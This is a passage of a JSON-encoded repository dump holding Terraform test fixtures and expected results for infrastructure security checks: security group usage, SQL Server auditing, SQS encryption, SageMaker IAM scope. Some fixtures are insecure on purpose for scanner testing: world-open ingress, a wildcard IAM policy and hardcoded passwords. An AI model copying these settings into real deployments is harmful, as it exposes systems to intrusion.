\"aws_elasticache_cluster\" \"pass_elasticache\" {\n  cluster_id         = \"cache\"\n  security_group_ids = [aws_security_group.pass_elasticache.id]\n}\n\nresource \"aws_security_group\" \"pass_elasticache_replication_group\" {\n  description = \"elasticache redis security group\"\n  name        = \"test_elasticache_replication_group\"\n  vpc_id      = var.vpc_id\n\n}\n\nresource \"aws_security_group_rule\" \"elasticache_ingress\" {\n  description       = \"elasticache ingress rule\"\n  type              = \"ingress\"\n  from_port         = 1234\n  to_port           = 1234\n  protocol          = \"TCP\"\n  security_group_id = aws_security_group.pass_elasticache_replication_group.id\n}\n\nresource \"aws_security_group_rule\" \"elasticache_egress\" {\n  description       = \"elasticache egress rule\"\n  type              = \"egress\"\n  from_port         = 0\n  to_port           = 0\n  protocol          = \"-1\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = aws_security_group.pass_elasticache_replication_group.id\n}\n\nresource \"aws_elasticache_replication_group\" \"pass_elasticache_replication_group\" {\n  replication_group_id          = \"repl\"\n  replication_group_description = \"Replication group for Elasticache\"\n  node_type                     = \"cache.m3.large\"\n  number_cache_clusters         = 5\n  engine                        = \"redis\"\n  port                          = 1234\n  subnet_group_name             = \"subnet_group_name\"\n  security_group_ids            = [aws_security_group.pass_elasticache_replication_group.id]\n}\n\nresource \"aws_elasticache_serverless_cache\" \"pass_elasticache_serverless\" {\n  name                 = \"elasticache-serverless-cache\"\n  security_group_ids   = [aws_security_group.pass_elasticache_serverless.id]\n}\n\nresource \"aws_security_group\" \"pass_elasticache_serverless\" {\n  name = \"security-group\"\n}\n\n# ELB\n\nresource \"aws_security_group\" \"pass_alb\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_lb\" \"pass_alb\" {\n  load_balancer_type = \"application\"\n  security_groups    = [aws_security_group.pass_alb.id]\n}\n\nresource \"aws_security_group\" \"pass_elb\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_elb\" \"pass_elb\" {\n  security_groups = [aws_security_group.pass_elb.id]\n\n  listener {\n    instance_port     = 80\n    instance_protocol = \"HTTP\"\n    lb_port           = 443\n    lb_protocol       = \"HTTPS\"\n  }\n}\n\nresource \"aws_security_group\" \"pass_lb\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_lb\" \"pass_lb\" {\n  load_balancer_type = \"application\"\n  security_groups    = [aws_security_group.pass_lb.id]\n}\n\n# EMR\n\nresource \"aws_security_group\" \"pass_emr\" {\n  name        = \"block_access\"\n  description = \"Block all traffic\"\n\n  ingress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"10.0.0.0/16\"]\n  }\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"10.0.0.0/16\"]\n  }\n}\n\nresource \"aws_emr_cluster\" \"pass_emr\" {\n  name                   = \"var.cluster_name\"\n  release_label          = \"var.release_label\"\n  security_configuration = \"aws_emr_security_configuration.examplea.name\"\n\n  ec2_attributes {\n    subnet_id                         = \"var.subnet_id\"\n    emr_managed_master_security_group = aws_security_group.pass_emr.id\n    emr_managed_slave_security_group  = aws_security_group.pass_emr.id\n    instance_profile                  = \"aws_iam_instance_profile.examplea.arn\"\n  }\n\n  service_role = \"aws_iam_role.emr_service.arn\"\n}\n\nresource \"aws_security_group\" \"pass_emr_studio\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_emr_studio\" \"pass_emr_studio\" {\n  auth_mode                   = \"SSO\"\n  default_s3_location         = \"s3://example/test\"\n  engine_security_group_id    = aws_security_group.pass_emr_studio.id\n  name                        = \"example\"\n  service_role                = \"aws_iam_role.test.arn\"\n  subnet_ids                  = [\"aws_subnet.test.id\"]\n  user_role                   = \"aws_iam_role.test.arn\"\n  vpc_id                      = \"aws_vpc.test.id\"\n  workspace_security_group_id = aws_security_group.pass_emr_studio.id\n}\n\n# ENI\n\nresource \"aws_security_group\" \"pass_eni\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_network_interface\" \"pass_eni\" {\n  subnet_id       = \"aws_subnet.public_a.id\"\n  security_groups = [aws_security_group.pass_eni.id]\n}\n\n# ES\n\nresource \"aws_security_group\" \"pass_es\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass_es\" {\n  domain_name = \"es\"\n\n  vpc_options {\n    security_group_ids = [aws_security_group.pass_es.id]\n  }\n}\n\n# Glue\n\nresource \"aws_security_group\" \"pass_glue\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_glue_dev_endpoint\" \"pass_glue\" {\n  name     = \"example\"\n  role_arn = \"aws_iam_role.example.arn\"\n\n  security_group_ids = [aws_security_group.pass_glue.id]\n}\n\n# Lambda\n\nresource \"aws_security_group\" \"pass_lambda\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_lambda_function\" \"pass_lambda\" {\n  function_name = \"lambda\"\n  handler       = \"lambda.handler\"\n  role          = \"aws_iam_role.lambda.arn\"\n  runtime       = \"python3.9\"\n\n  vpc_config {\n    security_group_ids = [aws_security_group.pass_lambda.id]\n    subnet_ids         = [\"aws_subnet.public_a.id\"]\n  }\n}\n\n# MQ\n\nresource \"aws_security_group\" \"pass_mq\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_mq_broker\" \"pass_mq\" {\n  broker_name        = \"mq\"\n  engine_type        = \"ActiveMQ\"\n  engine_version     = \"5.15.15\"\n  host_instance_type = \"mq.t3.micro\"\n  security_groups    = [aws_security_group.pass_mq.id]\n\n  user {\n    password = \"pass\"\n    username = \"user\"\n  }\n}\n\n# MSK\n\nresource \"aws_security_group\" \"pass_msk\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_msk_cluster\" \"pass_msk\" {\n  cluster_name           = \"msk\"\n  kafka_version          = \"2.8.0\"\n  number_of_broker_nodes = 1\n\n  broker_node_group_info {\n    client_subnets  = [\"aws_subnet.public_a.id\"]\n    ebs_volume_size = 50\n    instance_type   = \"kafka.m5.large\"\n    security_groups = [aws_security_group.pass_msk.id]\n  }\n}\n\n\n# MSK Connect\n\nresource \"aws_security_group\" \"pass_msk_connect\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_mskconnect_connector\" \"pass_msk_connect\" {\n  connector_configuration    = {}\n  kafkaconnect_version       = \"example-version\"\n  name                       = \"msk-connect\"\n  service_execution_role_arn = \"aws_iam_role.msk_connect.arn\"\n\n  kafka_cluster {\n    apache_kafka_cluster {\n      bootstrap_servers = \"bootstrap-servers\"\n\n      vpc {\n        security_groups = [aws_security_group.pass_msk_connect.id]\n        subnets         = []\n      }\n    }\n  }\n}\n\n# MWAA\n\nresource \"aws_security_group\" \"pass_mwaa\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_mwaa_environment\" \"pass_mwaa\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = \"aws_iam_role.mwaa.arn\"\n  name               = \"mwaa\"\n  source_bucket_arn  = \"aws_s3_bucket.mwaa.arn\"\n\n  network_configuration {\n    security_group_ids = [aws_security_group.pass_mwaa.id]\n    subnet_ids         = [\"aws_subnet.public_a.id\"]\n  }\n\n}\n\n# Neptune\n\nresource \"aws_security_group\" \"pass_neptune\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_neptune_cluster\" \"pass_neptune\" {\n  vpc_security_group_ids = [aws_security_group.pass_neptune.id]\n}\n\n# OpenSearch Domain\n\nresource \"aws_security_group\" \"pass_opensearch\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass_opensearch\" {\n  domain_name = \"opensearch\"\n  vpc_options {\n    security_group_ids = [aws_security_group.pass_opensearch.id]\n    subnet_ids         = [\"aws_subnet.public_a.id\"]\n  }\n}\n\n# OpenSearch VPC Endpoint\n\nresource \"aws_security_group\" \"pass_opensearch_vpc_endpoint\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_opensearch_vpc_endpoint\" \"pass_opensearch_vpc_endpoint\" {\n  domain_arn = aws_elasticsearch_domain.domain_1.arn\n  vpc_options {\n    security_group_ids = [aws_security_group.pass_opensearch_vpc_endpoint.id]\n    subnet_ids         = [aws_subnet.test.id, aws_subnet.test2.id]\n  }\n}\n\n# Quicksight\n\nresource \"aws_security_group\" \"pass_quicksight\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_quicksight_vpc_connection\" \"pass_quicksight\" {\n  vpc_connection_id  = \"example-connection-id\"\n  name               = \"Example Connection\"\n  role_arn           = \"aws_iam_role.vpc_connection_role.arn\"\n  security_group_ids = [aws_security_group.pass_quicksight.id]\n  subnet_ids         = [\"subnet-00000000000000000\"]\n}\n\n# RDS\n\nresource \"aws_security_group\" \"pass_rds\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_db_instance\" \"pass_rds\" {\n  instance_class         = \"db.t3.micro\"\n  vpc_security_group_ids = [aws_security_group.pass_rds.id]\n}\n\nresource \"aws_security_group\" \"pass_rds_cluster\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_rds_cluster\" \"pass_rds_cluster\" {\n  vpc_security_group_ids = [aws_security_group.pass_rds_cluster.id]\n}\n\n# Redshift\n\nresource \"aws_security_group\" \"pass_redshift\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_redshift_cluster\" \"pass_redshift\" {\n  cluster_identifier     = \"redshift\"\n  node_type              = \"dc2.large\"\n  vpc_security_group_ids = [aws_security_group.pass_redshift.id]\n}\n\n# Sagemaker\n\nresource \"aws_security_group\" \"pass_sagemaker\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"pass_sagemaker\" {\n  instance_type   = \"ml.t3.medium\"\n  name            = \"sagemaker\"\n  role_arn        = \"aws_iam_role.sagemaker.arn\"\n  security_groups = [aws_security_group.pass_sagemaker.id]\n}\n\n# VPC\n\nresource \"aws_security_group\" \"pass_vpc_endpoint\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_vpc_endpoint\" \"pass_vpc_endpoint\" {\n  vpc_id             = \"aws_vpc.this.id\"\n  service_name       = \"com.amazonaws.us-west-2.s3\"\n  vpc_endpoint_type  = \"Interface\"\n  security_group_ids = [aws_security_group.pass_vpc_endpoint.id]\n}\n\nresource \"aws_security_group\" \"pass_vpclattice\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_vpclattice_service_network_vpc_association\" \"pass_vpclattice\" {\n  vpc_identifier             = \"aws_vpc.example.id\"\n  service_network_identifier = \"aws_vpclattice_service_network.example.id\"\n  security_group_ids         = [aws_security_group.pass_vpclattice.id]\n}\n\n# fail\n\nresource \"aws_security_group\" \"fail\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_cloudwatch_event_target\" \"pass_cloudwatch_event\" {\n  target_id = var.target_id\n  arn       = var.arn\n  rule      = var.rule\n  role_arn  = var.role_arn\n\n  ecs_target {\n    launch_type         = var.launch_type\n    task_count          = var.task_count\n    task_definition_arn = var.task_definition_arn\n\n    network_configuration {\n      subnets          = [var.subnet_id]\n      security_groups  = [aws_security_group.pass_cloudwatch_event.id]\n      assign_public_ip = false\n    }\n  }\n\n  input = <<EOF\n{\n  \"containerOverrides\": [ ]\n}\nEOF\n}\n\nresource \"aws_security_group\" \"pass_cloudwatch_event\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass_mq_broker\" {\n  description = \"Managed by Terraform\"\n  egress {\n    #tfsec:ignore:AWS009\n    cidr_blocks = [\"0.0.0.0/0\"]\n    description = \"Outbound\"\n    from_port   = 0\n    protocol    = \"-1\"\n    to_port     = 0\n  }\n\n  ingress {\n    cidr_blocks = var.ingress\n    description = \"MQ port\"\n    from_port   = 61616\n    protocol    = \"tcp\"\n    self        = false\n    to_port     = 61616\n  }\n\n\n  name   = var.security_group_name\n  vpc_id = var.vpc_id\n  tags   = var.common_tags\n}\n\nresource \"aws_mq_broker\" \"broker\" {\n  broker_name = var.mq_broker[\"name\"]\n\n  configuration {\n    id       = aws_mq_configuration.broker.id\n    revision = aws_mq_configuration.broker.latest_revision\n  }\n\n  engine_type         = var.mq_broker[\"engine_type\"]\n  engine_version      = var.mq_broker[\"engine_version\"]\n  host_instance_type  = var.mq_broker[\"host_instance_type\"]\n  deployment_mode     = var.mq_broker[\"deployment_mode\"]\n  publicly_accessible = var.mq_broker[\"publicly_accessible\"]\n  security_groups     = [aws_security_group.pass_mq_broker.id]\n\n  user {\n    username = var.username\n    password = var.password\n  }\n\n  maintenance_window_start_time {\n    day_of_week = var.maintenance_window_start_time[\"day_of_week\"]\n    time_of_day = var.maintenance_window_start_time[\"time_of_day\"]\n    time_zone   = var.maintenance_window_start_time[\"time_zone\"]\n  }\n\n  encryption_options {\n    kms_key_id        = \"\"\n    use_aws_owned_key = false\n  }\n\n  logs {\n    general = true\n    audit   = var.audit\n  }\n\n  subnet_ids = var.subnet_ids\n  tags       = var.common_tags\n}\n\n# DAX\n\nresource \"aws_dax_cluster\" \"pass_aws_dax_cluster\" {\n  cluster_name       = \"dax_cluster\"\n  node_type          = \"dax.r4.large\"\n  subnet_group_name  = var.subnet_group\n  security_group_ids = [aws_security_group.pass_dax_cluster.id]\n  replication_factor = 5\n  iam_role_arn       = \"12345\"\n}\n\nresource \"aws_security_group\" \"pass_dax_cluster\" {\n  description = \"Test Dax cluster\"\n  name        = \"test_dax_cluster\"\n  vpc_id      = var.vpc_id\n}\n\nresource \"aws_security_group_rule\" \"dax_cluster_ingress\" {\n  description       = \"dax ingress rule\"\n  type              = \"ingress\"\n  from_port         = 1234\n  to_port           = 1234\n  protocol          = \"TCP\"\n  security_group_id = aws_security_group.pass_dax_cluster.id\n}\n\nresource \"aws_security_group_rule\" \"dax_cluster_egress\" {\n  description       = \"dax egress rule\"\n  type              = \"egress\"\n  from_port         = 0\n  to_port           = 0\n  protocol          = \"-1\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = aws_security_group.pass_dax_cluster.id\n}\n\n# Memory DB\n\nresource \"aws_security_group\" \"pass_memorydb_cluster\" {\n  name        = \"redis-secgrp\"\n  description = \"Redis Security Group\"\n  vpc_id      = var.vpc_id\n}\n\nresource \"aws_memorydb_cluster\" \"pass_memorydb_cluster\" {\n  acl_name           = \"open-access\"\n  name               = \"test-memorydb\"\n  node_type          = \"db.t4g.small\"\n  security_group_ids = [aws_security_group.pass_memorydb_cluster.id]\n  depends_on         = [aws_security_group.pass_memorydb_cluster]\n}\n\n# Route 53\n\nresource \"aws_security_group\" \"pass_route53_resolver_endpoint\" {\n  ingress {\n    description = \"DNS UDP\"\n    from_port   = 53\n    to_port     = 53\n    protocol    = \"udp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_route53_resolver_endpoint\" \"pass_route53_resolver_endpoint\" {\n  direction          = \"OUTBOUND\"\n  security_group_ids = [aws_security_group.pass_route53_resolver_endpoint.id]\n\n  ip_address {\n    subnet_id = var.subnet_id\n  }\n}\n\n# Transfer Family\n\nresource \"aws_security_group\" \"pass_transfer_server\" {\n  ingress {\n    description = \"SFTP\"\n    from_port   = 22\n    to_port     = 22\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_transfer_server\" \"pass_transfer_server\" {\n  endpoint_type = \"VPC\"\n\n  endpoint_details {\n    address_allocation_ids = [var.eip_id]\n    subnet_ids             = [var.subnet_id]\n    vpc_id                 = var.vpc_id\n    security_group_ids     = [aws_security_group.pass_transfer_server.id]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SQLServerAuditingEnabled/expected.yaml",
    "content": "pass:\n  - \"azurerm_sql_server.success\"\n  - \"azurerm_mssql_server.success\"\n  - \"azurerm_mssql_server.inline_success\"\nfail:\n  - \"azurerm_sql_server.failure\"\n  - \"azurerm_mssql_server.failure\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SQLServerAuditingEnabled/main.tf",
    "content": "resource \"azurerm_sql_server\" \"failure\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_sql_server\" \"success\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 6\n  }\n}\n\nresource \"azurerm_mssql_server\" \"failure\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n}\n\nresource \"azurerm_mssql_server\" \"success\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 6\n  }\n}\n\nresource \"azurerm_mssql_server\" \"inline_success\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n}\n\nresource \"azurerm_mssql_server_extended_auditing_policy\" \"extended_auditing_policy\" {\n  server_id                               = azurerm_mssql_server.inline_success.id\n  storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n  storage_account_access_key_is_secondary = true\n  retention_in_days                       = 6\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SQLServerAuditingRetention90Days/expected.yaml",
    "content": "pass:\n  - \"azurerm_sql_server.deprecated\"\n  - \"azurerm_mssql_server.deprecated\"\n  - \"azurerm_mssql_server.long\"\n  - \"azurerm_mssql_server.as_list\"\nfail:\n  - \"azurerm_sql_server.default\"\n  - \"azurerm_mssql_server.default\"\n  - \"azurerm_mssql_server.deprecated_too_short\"\n  - \"azurerm_mssql_server.too_short\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SQLServerAuditingRetention90Days/main.tf",
    "content": "# pass\n\nresource \"azurerm_sql_server\" \"deprecated\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 90\n  }\n}\n\nresource \"azurerm_mssql_server\" \"deprecated\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 90\n  }\n}\n\nresource \"azurerm_mssql_server\" \"as_list\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n\n  extended_auditing_policy = [{\n    storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 90\n  }]\n}\n\nresource \"azurerm_mssql_server\" \"long\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n}\n\nresource \"azurerm_mssql_server_extended_auditing_policy\" \"long\" {\n  server_id                               = azurerm_mssql_server.long.id\n  storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n  storage_account_access_key_is_secondary = true\n  retention_in_days                       = 90\n}\n\n# fail\n\nresource \"azurerm_sql_server\" \"default\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n}\n\nresource \"azurerm_mssql_server\" \"default\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n}\n\nresource \"azurerm_mssql_server\" \"deprecated_too_short\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 6\n  }\n}\n\nresource \"azurerm_mssql_server\" \"too_short\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"\n}\n\nresource \"azurerm_mssql_server_extended_auditing_policy\" \"too_short\" {\n  server_id                               = azurerm_mssql_server.too_short.id\n  storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n  storage_account_access_key_is_secondary = true\n  retention_in_days                       = 6\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SQSEncryptionCMK/expected.yaml",
    "content": "pass:\n    - \"aws_sqs_queue.pass_notexists\"\n    - \"aws_sqs_queue.pass_different_start\"\n\nfail:\n    - \"aws_sqs_queue.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/SQSEncryptionCMK/main.tf",
    "content": "resource \"aws_sqs_queue\" \"fail\" {\n  name                        = \"example-queue\"\n  kms_master_key_id            = \"alias/aws/sqs\"  # Violates the RQL by using the AWS-managed key instead of a customer-managed key.\n  \n  # Other SQS queue attributes\n  delay_seconds                = 0\n  max_message_size             = 262144\n  message_retention_seconds    = 345600\n  receive_wait_time_seconds    = 0\n  visibility_timeout_seconds   = 30\n}\n\n\nresource \"aws_sqs_queue\" \"pass_notexists\" {\n  name                        = \"example-queue\"\n  \n  # Other SQS queue attributes\n  delay_seconds                = 0\n  max_message_size             = 262144\n  message_retention_seconds    = 345600\n  receive_wait_time_seconds    = 0\n  visibility_timeout_seconds   = 30\n}\n\nresource \"aws_sqs_queue\" \"pass_different_start\" {\n  name                        = \"example-queue\"\n  kms_master_key_id           = \"foo\"\n\n  \n  # Other SQS queue attributes\n  delay_seconds                = 0\n  max_message_size             = 262144\n  message_retention_seconds    = 345600\n  receive_wait_time_seconds    = 0\n  visibility_timeout_seconds   = 30\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SageMakerIAMPolicyOverlyPermissiveToAllTraffic/expected.yaml",
    "content": "pass:\n  - \"aws_sagemaker_notebook_instance.pass1\"\n  - \"aws_sagemaker_notebook_instance.pass2\"\nfail:\n  - \"aws_sagemaker_notebook_instance.fail1\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SageMakerIAMPolicyOverlyPermissiveToAllTraffic/main.tf",
    "content": "resource \"aws_iam_role\" \"example_role\" {\n  name = \"example_role\"\n\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Effect = \"Allow\"\n        Action = \"*\"\n        Resource = \"*\"\n      }\n    ]\n  })\n  assume_role_policy = \"\"\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"fail1\" {\n  name   = \"example-notebook-instance\"\n  role_arn = aws_iam_role.example_role.arn\n  instance_type = \"\"\n}\n\nresource \"aws_iam_role\" \"example_role_restricted\" {\n  name = \"example_role_restricted\"\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Effect = \"Allow\"\n        Action = \"s3:ListBucket\"\n        Resource = \"arn:aws:s3:::example-bucket\"\n      }\n    ]\n  })\n  assume_role_policy = \"\"\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"pass1\" {\n  name   = \"example-notebook-instance-restricted\"\n  role_arn = aws_iam_role.example_role_restricted.arn\n  instance_type = \"\"\n}\n\nresource \"aws_iam_role\" \"example_role_no_policy\" {\n  name = \"example_role_no_policy\"\n  assume_role_policy = \"\"\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"pass2\" {\n  name   = \"example-notebook-instance-no-policy\"\n  role_arn = aws_iam_role.example_role_no_policy.arn\n  instance_type = \"\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SecretsAreRotated/expected.yaml",
    "content": "pass:\n  - \"aws_secretsmanager_secret.pass\"\n\nfail:\n  - \"aws_secretsmanager_secret.fail\"\n\n"
  },
  {
